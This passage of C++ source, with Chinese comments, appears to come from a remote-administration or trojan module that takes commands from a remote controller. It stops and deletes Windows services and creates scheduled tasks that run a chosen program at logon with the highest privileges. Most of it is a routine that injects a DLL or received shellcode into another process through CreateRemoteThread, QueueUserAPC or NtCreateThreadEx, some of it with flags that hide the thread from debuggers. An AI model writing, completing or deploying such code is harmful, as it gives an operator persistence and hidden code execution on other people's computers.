TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; LookupPrivilegeValue(NULL, lpPrivilegeName, &TokenPrivileges.Privileges[0].Luid); AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } void CMachineManager::DeleteService(LPBYTE lpBuffer, UINT nSize) { EnablePrivilege(SE_DEBUG_NAME, TRUE); SERVICE_STATUS status; SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); DWORD _err = GetLastError(); BOOL isSuccess = QueryServiceStatus(service, &status); if (status.dwCurrentState != SERVICE_STOPPED) { isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); } isSuccess = ::DeleteService(service); CloseServiceHandle(service); CloseServiceHandle(scm); // 稍稍Sleep下，防止出错 Sleep(100); SendServicesList(m_dwServiceType); EnablePrivilege(SE_DEBUG_NAME, FALSE); } // 启动/停止服务 void CMachineManager::MyControlService(LPBYTE lpBuffer, UINT nType) { EnablePrivilege(SE_DEBUG_NAME, TRUE); SERVICE_STATUS status; SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // 打开服务管理对象 SC_HANDLE service = OpenService(scm, (char*)lpBuffer, SERVICE_ALL_ACCESS); // 打开www服务 BOOL isSuccess = QueryServiceStatus(service, &status); switch (nType) { case 0: if (status.dwCurrentState == SERVICE_STOPPED) { //服务停止状态 就启动服务 isSuccess = StartService(service, NULL, NULL); } break; case 1: if (status.dwCurrentState != SERVICE_STOPPED) { isSuccess = ControlService(service, SERVICE_CONTROL_STOP, &status); } break; case 2: if (status.dwCurrentState == SERVICE_RUNNING) { isSuccess = ControlService(service, SERVICE_CONTROL_PAUSE, &status); } break; case 3: if (status.dwCurrentState == SERVICE_PAUSED) { isSuccess = ControlService(service, SERVICE_CONTROL_CONTINUE, &status); } break; } CloseServiceHandle(service); CloseServiceHandle(scm); // 稍稍Sleep下，防止出错 Sleep(100); SendServicesList(m_dwServiceType); EnablePrivilege(SE_DEBUG_NAME, FALSE); } PBYTE CMachineManager::GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset) { IRegisteredTaskCollection* pTaskCollection = NULL; // 所有任务集合 LONG numTasks = 0; // 任务个数 //获取所有任务 HRESULT hr = pFolder->GetTasks(TASK_ENUM_HIDDEN, &pTaskCollection); if (FAILED(hr)) { return NULL; } //获取任务个数 hr = pTaskCollection->get_Count(&numTasks); if (numTasks == 0) { pTaskCollection->Release(); return NULL; } //开始遍历任务 for (LONG i = 0; i < numTasks; i++) { IRegisteredTask* pRegisteredTask = NULL; hr = pTaskCollection->get_Item(_variant_t(i + 1), &pRegisteredTask); //下标是从1开始的 if (SUCCEEDED(hr)) { ITaskDefinition* pDefinition = NULL; BSTR taskName = NULL; BSTR path = NULL; BSTR exepath = NULL; DATE LastTime = 0; DATE NextTime = 0; const char* status = NULL; TASK_STATE taskState = TASK_STATE_UNKNOWN; pRegisteredTask->get_Name(&taskName); pRegisteredTask->get_Path(&path); pRegisteredTask->get_LastRunTime(&LastTime); pRegisteredTask->get_NextRunTime(&NextTime); pRegisteredTask->get_State(&taskState); pRegisteredTask->get_Definition(&pDefinition); if (pDefinition) { GetProgramPath(pDefinition, &exepath); } switch (taskState) { case TASK_STATE_UNKNOWN: status = _T("未知状态"); break; case TASK_STATE_DISABLED: status = _T("已禁用"); break; case TASK_STATE_QUEUED: status = _T("排队中"); break; case TASK_STATE_READY: status = _T("已准备"); break; case TASK_STATE_RUNNING: status = _T("运行中"); break; default: break; } //保存数据到buff中 SaveData(BSTRToUTF8(taskName), BSTRToUTF8(path), BSTRToUTF8(exepath), status, LastTime, NextTime, data, offset); if (path) SysFreeString(path); if (taskName) SysFreeString(taskName); if (exepath) SysFreeString(exepath); if (pRegisteredTask) pRegisteredTask->Release(); } } pTaskCollection->Release(); return NULL; } PBYTE CMachineManager::GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset) { ITaskFolderCollection* pFolders = NULL; // 子文件夹集合 LONG Count = 0; // 子文件夹个数 HRESULT hr = pFolder->GetFolders(0, &pFolders); if (FAILED(hr)) { return 0; } //获取文件夹个数 hr = pFolders->get_Count(&Count); if (FAILED(hr)) { return 0; } if (Count == 0) { pFolders->Release(); //获取文件夹下的任务 GetTaskAll(pFolder, data, offset); } else { //先遍历目录下的任务 GetTaskAll(pFolder, data, offset); //递归遍历文件夹 for (int i = 0; i < Count; i++) { ITaskFolder* ispFolder = NULL; hr = pFolders->get_Item(variant_t(i + 1), &ispFolder); if (FAILED(hr)) { continue; } GetFolderAll(ispFolder, data, offset); } pFolders->Release(); } return 0; } ITaskService* GetTaskService() { // 初始化com库 HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { return NULL; } // 设置安全等级 hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); if (FAILED(hr) && RPC_E_TOO_LATE != hr) { CoUninitialize(); return NULL; } // 实例化计划任务 ITaskService* pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); if (FAILED(hr)) { CoUninitialize(); return NULL; } // 连接计划任务 hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); if (FAILED(hr)) { CoUninitialize(); return NULL; } return pService; } PBYTE CMachineManager::GetRoot() { auto pService = GetTaskService(); if (!pService) { BYTE bToken = TOKEN_MACHINE_TASKLIST; Send(&bToken, 1); return 0; } ITaskFolder* pRootFolder = NULL; HRESULT hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); if (FAILED(hr)) { pService->Release(); CoUninitialize(); return 0; } PBYTE lpList = (BYTE*)LocalAlloc(LPTR, 32*1024); if (lpList) { lpList[0] = TOKEN_MACHINE_TASKLIST; int offset = 1; GetFolderAll(pRootFolder, lpList, offset); Send((LPBYTE)lpList, (UINT)LocalSize(lpList)); LocalFree(lpList); } pRootFolder->Release(); pService->Release(); CoUninitialize(); return 0; } //创建 BOOL CMachineManager::CreateTask(LPBYTE lpBuffer) { auto pService = GetTaskService(); if (!pService) { return FALSE; } char* rootpath = (char*)lpBuffer; char* taskname = rootpath + lstrlen(rootpath) + 1; char* path = taskname + lstrlen(taskname) + 1; char* Author = path + lstrlen(path) + 1; char* Description = Author + lstrlen(Author) + 1; BOOL ret = FALSE; ITaskFolder* pRootFolder = NULL; ITaskDefinition* pDefinition = NULL; IRegistrationInfo* pRegistrationInfo = NULL; IPrincipal* pPrincipal = NULL; ITaskSettings* pSettings = NULL; ITriggerCollection* pTriggers = NULL; IActionCollection* pActions = NULL; IExecAction* pExecAction = NULL; IRegisteredTask* pRegisteredTask = NULL; // 选择计划任务注册在哪个文件夹下 HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); if (SUCCEEDED(hr)) { // 创建任务定义对象 hr = pService->NewTask(0, &pDefinition); if (SUCCEEDED(hr)) { // 获取注册信息的实例用来填写注册信息 hr = pDefinition->get_RegistrationInfo(&pRegistrationInfo); // 获取设置主体信息的实例 HRESULT hr2 = pDefinition->get_Principal(&pPrincipal); // 设置任务相关信息 HRESULT hr3 = pDefinition->get_Settings(&pSettings); // 设置触发器 HRESULT hr4 = pDefinition->get_Triggers(&pTriggers); //设置执行操作 HRESULT hr5 = pDefinition->get_Actions(&pActions); if (SUCCEEDED(hr) && SUCCEEDED(hr2) && SUCCEEDED(hr3) && SUCCEEDED(hr4) && SUCCEEDED(hr5)) { //作者 pRegistrationInfo->put_Author(CharToBSTR(Author)); //描述 pRegistrationInfo->put_Description(CharToBSTR(Description)); pRegistrationInfo->Release(); // 设置登陆类型 (用户必须已经登录。 该任务将仅在现有的交互式会话中运行。 ) pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); // 设置运行权限 (任务将以最高权限运行。 ) pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); //设置被结束后自动延迟10分钟运行 pSettings->put_StartWhenAvailable(VARIANT_TRUE); //创建触发器 ITrigger* pTrigger; hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger); IAction* pAction; //设置执行 pActions->Create(TASK_ACTION_EXEC, &pAction); pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); //设置程序路径等信息 pExecAction->put_Path(CharToBSTR(path)); //注册 hr = pRootFolder->RegisterTaskDefinition(CharToBSTR(taskname), pDefinition, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask); if (SUCCEEDED(hr)) { ret = TRUE; pRegisteredTask->Release(); } if (pAction) pAction->Release(); if (pTrigger) pTrigger->Release(); } if (pPrincipal) pPrincipal->Release(); if (pSettings) pSettings->Release(); if (pTriggers) pTriggers->Release(); if (pActions) pActions->Release(); pDefinition->Release(); } pRootFolder->Release(); } pService->Release(); CoUninitialize(); return ret; } // 执行 或 停止 BOOL CMachineManager::RunOrStopTask(LPBYTE lpBuffer, BOOL Action) { auto pService = GetTaskService(); if (!pService) { return FALSE; } char* rootpath = (char*)lpBuffer; char* taskname = rootpath + lstrlen(rootpath) + 1; BOOL ret = FALSE; ITaskFolder* pRootFolder = NULL; IRegisteredTask* ppTask = NULL; VARIANT params = { 0 }; //选择计划任务注册在哪个文件夹下 HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); if (SUCCEEDED(hr)) { hr = pRootFolder->GetTask(CharToBSTR(taskname), &ppTask); if (SUCCEEDED(hr)) { if (Action) { //执行 hr = ppTask->Run(params, NULL); if (SUCCEEDED(hr)) { ret = TRUE; } } else { //停止 hr = ppTask->Stop(0); if (SUCCEEDED(hr)) { ret = TRUE; } } ppTask->Release(); } pRootFolder->Release(); } pService->Release(); CoUninitialize(); return ret; } //删除 BOOL CMachineManager::DelTask(LPBYTE lpBuffer) { auto pService = GetTaskService(); if (!pService) { return FALSE; } char* rootpath = (char*)lpBuffer; char* taskname = rootpath + lstrlen(rootpath) + 1; BOOL ret = FALSE; ITaskFolder* pRootFolder = NULL; // 选择计划任务注册在哪个文件夹下 HRESULT hr = pService->GetFolder(CharToBSTR(rootpath), &pRootFolder); if (SUCCEEDED(hr)) { hr = pRootFolder->DeleteTask(CharToBSTR(taskname), 0); if (SUCCEEDED(hr)) { ret = TRUE; } pRootFolder->Release(); } pService->Release(); CoUninitialize(); return ret; } void CMachineManager::SaveData(const std::string& taskname, const std::string& path, const std::string& exepath, const std::string& status, DATE LastTime, DATE NextTime, PBYTE &lpList, int &offset) { DWORD nameLEN = 0; DWORD taskpathLEN = 0; DWORD statusLEN = 0; DWORD exeLEN = 0; DWORD sum = 0; nameLEN = taskname.length()+1; taskpathLEN = path.length()+1; statusLEN = status.length()+1; exeLEN = exepath.length()+1; sum = nameLEN + taskpathLEN + statusLEN + exeLEN + sizeof(DATE) * 2; // 动态扩展缓冲区 if (LocalSize(lpList) < (offset + sum)) { lpList = (BYTE*)LocalReAlloc(lpList, LocalSize(lpList)+4*1024, LMEM_ZEROINIT | LMEM_MOVEABLE); if (!lpList) { return; } } //拷贝数据 memcpy(lpList + offset, taskname.c_str(), nameLEN); offset += nameLEN; memcpy(lpList + offset, path.c_str(), taskpathLEN); offset += taskpathLEN; memcpy(lpList + offset, exepath.c_str(), exeLEN); offset += exeLEN; memcpy(lpList + offset, status.c_str(), statusLEN); offset += statusLEN; memcpy(lpList + offset, &LastTime, sizeof(DATE)); offset += sizeof(DATE); memcpy(lpList + offset, &NextTime, sizeof(DATE)); offset += sizeof(DATE); } BOOL CMachineManager::GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath) { IActionCollection* pIAction = NULL; IAction* pAction = NULL; IExecAction* pExecAction = NULL; HRESULT hr = iDefinition->get_Actions(&pIAction); if (FAILED(hr)) { goto out; } hr = pIAction->get_Item(1, &pAction); if (FAILED(hr)) { goto out; } hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); if (FAILED(hr)) { goto out; } pExecAction->get_Path(exepath); out: if (pIAction) pIAction->Release(); if (pAction) pAction->Release(); if (pExecAction) pExecAction->Release(); iDefinition->Release(); return 1; } void CMachineManager::SendError(const char* Terror) { int nlen = lstrlen(Terror) * sizeof(char) + 4; BYTE* pbuffer = new BYTE[nlen]; ZeroMemory(pbuffer, nlen); pbuffer[0] = TOKEN_MACHINE_MSG; memcpy(pbuffer + 1, Terror, nlen - 4); Send(pbuffer, nlen); SAFE_DELETE_AR(pbuffer); } HANDLE WINAPI ThreadProc(PTHREAD_DATA data) { data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName); data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle); return data->ModuleHandle; } DWORD WINAPI ThreadProcEnd() { return 0; } void CMachineManager::injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID, byte* data, DWORD datasize, char* path) { switch (mode) { case 0: // 远线程反射注入(落地反射注入) case 1: case 2: { DeleteFile(path); if (GetFileAttributes(path) != -1) { //检查文件不存在 退出 SendError(_T("文件已经存在无法写，换个文件名？")); return; } // 写出文件 HANDLE VmFile = CreateFile(path, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL, NULL); if (VmFile == INVALID_HANDLE_VALUE) { SendError(_T("创建落地路径文件失败")); return; } DWORD dwTemp; WriteFile(VmFile, data, datasize, &dwTemp, NULL); CloseHandle(VmFile); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); if (hProc == NULL) { SendError(_T("打开进程失败")); return; } switch (mode) { case 0: { // CreateRemoteThread(落地反射注入) yapi::YAPICall LoadLibraryA(hProc, _T("kernel32.dll"), "LoadLibraryW"); if (ExeIsx86) { DWORD64 x86Dll = LoadLibraryA(path); SendError(_T("注入32位dll成功")); } else { DWORD64 x64Dll = LoadLibraryA.Dw64()(path); SendError(_T("注入64位dll成功")); } } break; case 1: { // QueueUserAPC(落地反射注入) FARPROC fpAddresses[5] = { GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread") }; pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0]; pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1]; pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2]; pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3]; pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4]; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { SendError(_T("无法获取线程快照")); break; } te32.dwSize = sizeof(THREADENTRY32); DWORD threadId; if (!Thread32First(hThreadSnap, &te32)) { SendError(_T("无法获得第一个线程")); break; } do { if (te32.th32OwnerProcessID ==dwProcessID) { threadId = te32.th32ThreadID; HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); if (hThread) { LPVOID pDllPath = VirtualAllocEx(hProc, 0, lstrlen(path) * sizeof(char), MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, pDllPath, LPVOID(path), lstrlen(path) * sizeof(char), NULL); if (fNtSuspendThread) { ULONG SuspendCount = 0; fNtSuspendThread(hThread, &SuspendCount); } LPVOID LoadLibAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryW"); DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)LoadLibAddr, pDllPath, NULL, NULL); if (fNtAlertResumeThread) { ULONG SuspendCount = 0; fNtAlertResumeThread(hThread, &SuspendCount); } if (dwResult) { SendError(_T("有效载荷在线程中成功注入")); break;; } else { SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程")); continue; } } else { SendError(_T("获取找到的线程 ID 时出错")); break;; } } } while (Thread32Next(hThreadSnap, &te32)); if (!threadId) SendError(_T("没有线程用于进程")); CloseHandle(hThreadSnap); return; } break; case 2: { // NtCreateThreadEx(落地反射注入) HANDLE hThread = NULL; LPVOID pThreadData = NULL; THREAD_DATA data; LPVOID pCode = NULL; HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (hNtdll == NULL) { SendError(_T("ntdll.dll error")); break; } data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString"); data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll"); memcpy(data.DllName, path, (lstrlen(path) + 1) * sizeof(WCHAR)); data.DllPath = NULL; data.Flags = 0; data.ModuleHandle = INVALID_HANDLE_VALUE; pThreadData = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadData == NULL) { SendError(_T("VirtualAllocEx error")); break; } if (!WriteProcessMemory(hProc, pThreadData, &data, sizeof(data), NULL)) { SendError(_T("WriteProcessMemory error")); VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); break; } /* DWORD endsize = (DWORD)ThreadProcEnd; DWORD Procsize = (DWORD)ThreadProc; DWORD sizeOfCode = Procsize - endsize;*/ DWORD sizeOfCode = (DWORD_PTR)ThreadProcEnd - (DWORD_PTR)ThreadProc; pCode = VirtualAllocEx(hProc, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pCode == NULL) { SendError(_T("VirtualAllocEx2 error")); VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); break; } if (!WriteProcessMemory(hProc, pCode, (PVOID)ThreadProc, 4096, NULL)) { SendError(_T("WriteProcessMemory2 error")); VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE); break; } FARPROC pFunc = NULL; pFunc = GetProcAddress(hNtdll, "NtCreateThreadEx"); if (pFunc == NULL) { SendError(_T("NtCreateThreadEx error")); VirtualFreeEx(hProc, pThreadData, 0, MEM_RELEASE); VirtualFreeEx(hProc, pCode, 0, MEM_RELEASE); break; } ((pfnNtCreateThreadEx)pFunc)(&hThread, 0x1FFFFF, NULL, hProc, pCode, pThreadData, THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); if (hThread == NULL) SendError(_T("注入失败")); else SendError(_T("注入成功")); } break; default: break; } CloseHandle(hProc); } break; case 3: case 4: case 5: { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); if (hProc == NULL) { SendError(_T("打开进程失败")); return; } switch (mode) { case 3: { // CreateRemoteThread(shellcode 注入) #ifdef _WIN64 LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); HANDLE ThreadShellCode = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, 0, NULL); #else DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL); HANDLE ThreadShellCode = yapi::CreateRemoteThread64(hProc, NULL, 0, RemotlpAddress, NULL, 0, NULL); #endif if (ThreadShellCode) CloseHandle(ThreadShellCode); SendError(_T("注入shellcode成功")); } break; case 4: { // QueueUserAPC(shellcode 注入) FARPROC fpAddresses[5] = { GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAllocateVirtualMemory"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtWriteVirtualMemory"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtSuspendThread"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtAlertResumeThread"), GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtQueueApcThread") }; pNtAllocateVirtualMemory fNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)fpAddresses[0]; pNtWriteVirtualMemory fNtWriteVirtualMemory = (pNtWriteVirtualMemory)fpAddresses[1]; pNtSuspendThread fNtSuspendThread = (pNtSuspendThread)fpAddresses[2]; pNtAlertResumeThread fNtAlertResumeThread = (pNtAlertResumeThread)fpAddresses[3]; pNtQueueApcThread fNtQueueApcThread = (pNtQueueApcThread)fpAddresses[4]; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 te32; hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { SendError(_T("无法获取线程快照")); break; } te32.dwSize = sizeof(THREADENTRY32); DWORD threadId; if (!Thread32First(hThreadSnap, &te32)) { SendError(_T("无法获得第一个线程")); break; } do { if (te32.th32OwnerProcessID == dwProcessID) { threadId = te32.th32ThreadID; HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId); if (hThread) { LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); pNtSuspendThread NtSuspendThread = NULL; if (fNtSuspendThread) { ULONG SuspendCount = 0; fNtSuspendThread(hThread, &SuspendCount); } DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)RemotlpAddress, NULL, NULL, NULL); if (fNtAlertResumeThread) { ULONG SuspendCount = 0; fNtAlertResumeThread(hThread, &SuspendCount); } if (dwResult) { SendError(_T("有效载荷在线程中成功注入")); break;; } else { SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程")); continue; } } else { SendError(_T("获取找到的线程 ID 时出错")); break;; } } } while (Thread32Next(hThreadSnap, &te32)); if (!threadId) SendError(_T("没有线程用于进程")); CloseHandle(hThreadSnap); } break; case 5: { // NtCreateThreadEx(shellcode 注入) #ifdef _WIN64 LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtCreateThreadEx"); if (NtCreateThreadEx == NULL) break; HANDLE ThreadShellCode = NULL; NtCreateThreadEx(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); if (ThreadShellCode == NULL) break; #else DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL); yapi::X64Call RtlCreateUserThread("RtlCreateUserThread"); HANDLE ThreadShellCode = NULL; RtlCreateUserThread(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); if (ThreadShellCode == NULL) break; #endif if (ThreadShellCode) CloseHandle(ThreadShellCode); SendError(_T("注入shellcode成功")); } break; default: break; } CloseHandle(hProc); } break; default: break; } }